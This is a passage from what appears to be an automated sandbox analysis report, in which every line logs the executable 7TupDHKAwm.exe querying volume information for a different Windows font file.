Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
